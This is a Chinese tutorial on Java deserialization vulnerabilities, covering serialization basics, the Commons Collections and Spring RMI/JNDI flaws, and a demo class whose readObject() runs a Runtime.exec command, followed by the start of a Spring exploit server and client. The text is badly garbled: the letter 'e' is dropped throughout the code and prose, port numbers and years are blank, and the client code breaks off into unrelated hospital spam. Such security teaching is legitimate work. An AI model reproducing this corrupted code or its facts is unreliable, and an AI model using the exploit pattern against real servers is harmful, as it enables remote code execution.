序列化与反序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。主要应用在以下场景:
HTTP:多平台之间的通信,管理等RMI:是Java的一组拥护开发分布式应用程序的API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI的传输%基于反序列化,JavaRMI的默认端口是端口。JMX:JMX是一套标准的代理和服务,用户可以在任何Java应用程序中使用这些代理和服务实现管理,中间件软件WbLogic的管理页面就是基于JMX开发的,而JBoss则整个系统都基于JMX构架。
2.漏洞历史最为出名的大概应该是:15年的ApachCommonsCollctions反序列化远程命令执行漏洞,其当初影响范围包括:WbSphr、JBoss、Jnkins、WbLogic和OpnNMSd等。年SpringRMI反序列化漏洞今年比较出名的:Jackson,FastJson
Java十分受开发者喜爱的一点是其拥有完善的第三方类库,和满足各种需求的框架;但正因为很多第三方类库引用广泛,如果其中某些组件出现安全问题,那么受影响范围将极为广泛。
.漏洞成因暴露或间接暴露反序列化API,导致用户可以操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码两个或多个看似安全的模块在同一运行环境下,共同产生的安全问题
4.漏洞基本原理实现序列化与反序列化
publicclasstst{publicstaticvoidmain(Stringargs[])throwsExcption{//定义obj对象Stringobj="hlloworld!";//创建一个包含对象进行反序列化信息的”objct”数据文件FilOutputStramfos=nwFilOutputStram("objct");ObjctOutputStramos=nwObjctOutputStram(fos);//writObjct()方法将obj对象写入objct文件os.writObjct(obj);os.clos();//从文件中反序列化obj对象FilInputStramfis=nwFilInputStram("objct");ObjctInputStramois=nwObjctInputStram(fis);//恢复对象Stringobj2=(String)ois.radObjct();Systm.out.print(obj2);ois.clos();}}
上面代码将String对象obj1序列化后写入文件objct文件中,后又从该文件反序列化得到该对象。我们来看一下objct文件中的内容:
这里需要注意的是,acd是java序列化内容的特征,如果经过bas64编码,那么相对应的是rO0AB:
我们再看一段代码:
publicclasstst{publicstaticvoidmain(Stringargs[])throwsExcption{//定义myObj对象MyObjctmyObj=nwMyObjct();myObj.nam="hi";//创建一个包含对象进行反序列化信息的”objct”数据文件FilOutputStramfos=nwFilOutputStram("objct");ObjctOutputStramos=nwObjctOutputStram(fos);//writObjct()方法将myObj对象写入objct文件os.writObjct(myObj);os.clos();//从文件中反序列化obj对象FilInputStramfis=nwFilInputStram("objct");ObjctInputStramois=nwObjctInputStram(fis);//恢复对象MyObjctobjctFromDisk=(MyObjct)ois.radObjct();Systm.out.println(objctFromDisk.nam);ois.clos();}}classMyObjctimplmntsSrializabl{publicStringnam;//重写radObjct()方法privatvoidradObjct(java.io.ObjctInputStramin)throwsIOExcption,ClassNotFoundExcption{//执行默认的radObjct()方法in.dfaultRadObjct();//执行打开计算器程序命令Runtim.gtRuntim().xc("opn/Applications/Calculator.app/");}}
这次我们自己写了一个class来进行对象的序列与反序列化。我们看到,MyObjct类有一个公有属性nam,myObj实例化后将myObj.nam赋值为了“hi”,然后序列化写入文件objct:
然后读取objct反序列化时:
我们注意到MyObjct类实现了Srializabl接口,并且重写了radObjct()函数。这里需要注意:只有实现了Srializabl接口的类的对象才可以被序列化,Srializabl接口是启用其序列化功能的接口,实现java.io.Srializabl接口的类才是可序列化的,没有实现此接口的类将不能使它们的任一状态被序列化或逆序列化。这里的radObjct()执行了Runtim.gtRuntim().xc("opn/Applications/Calculator.app/"),而radObjct()方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,radObjct()是可以重写的,可以定制反序列化的一些行为。
5.安全隐患看完上一章节你可能会说不会有人这么写radObjct(),当然不会,但是实际也不会太差。
我们看一下年的Spring框架的反序列化漏洞,该漏洞是利用了RMI以及JNDI:
RMI(RmotMthodInvocation)即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口,常见的两种接口实现为JRMP(JavaRmotMssagProtocol,Java远程消息交换协议)以及CORBA。JNDI(JavaNamingandDirctoryIntrfac)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。JNDI支持的服务主要有以下几种:DNS、LDAP、CORBA对象服务、RMI等。
简单的来说就是RMI注册的服务可以让JNDI应用程序来访问,调用。
Spring框架中的远程代码执行的缺陷在于spring-tx-xxx.jar中的org.springframwork.transaction.jta.JtaTransactionManagr类,该类实现了JavaTransactionAPI,主要功能是处理分布式的事务管理。
这里我们来分析一下该漏洞的原理,为了复现该漏洞,我们模拟搭建Srvr和Clint服务;Srvr主要功能是主要功能就是监听某个端口,读取送达该端口的序列化后的对象,然后反序列化还原得到该对象;Clint负责发送序列化后的对象。运行环境需要在Spring框架下。
我们首先来看srvr代码:
publicclassExploitablSrvr{publicstaticvoidmain(String[]args){{//创建socktSrvrSocktsrvrSockt=nwSrvrSockt(Intgr.parsInt(""));Systm.out.println("Srvrstartdonport"+srvrSockt.gtLocalPort());whil(tru){//等待链接Socktsockt=srvrSockt.accpt();Systm.out.println("Connctionrcivdfrom"+sockt.gtIntAddrss());ObjctInputStramobjctInputStram=nwObjctInputStram(sockt.gtInputStram());try{//读取对象Objctobjct=objctInputStram.radObjct();Systm.out.println("Radobjct"+objct);}catch(Excption){Systm.out.println("Excptioncaughtwhilradingobjct");.printStackTrac();}}}catch(Excption){.printStackTrac();}}}
clint:
publicclassExploitClint{publicstaticvoidmain(String[]args){try{StringsrvrAddrss=args[0];intport=Intgr.parsInt(args[1]);StringlocalAddrss=args[2];//启动wbsrvr,提供远程下载要调用类的接口Systm.out.println("StartingHTTPsrvr");HTTPSrvr北京白癜风的最好医院北京中科医院是假的吗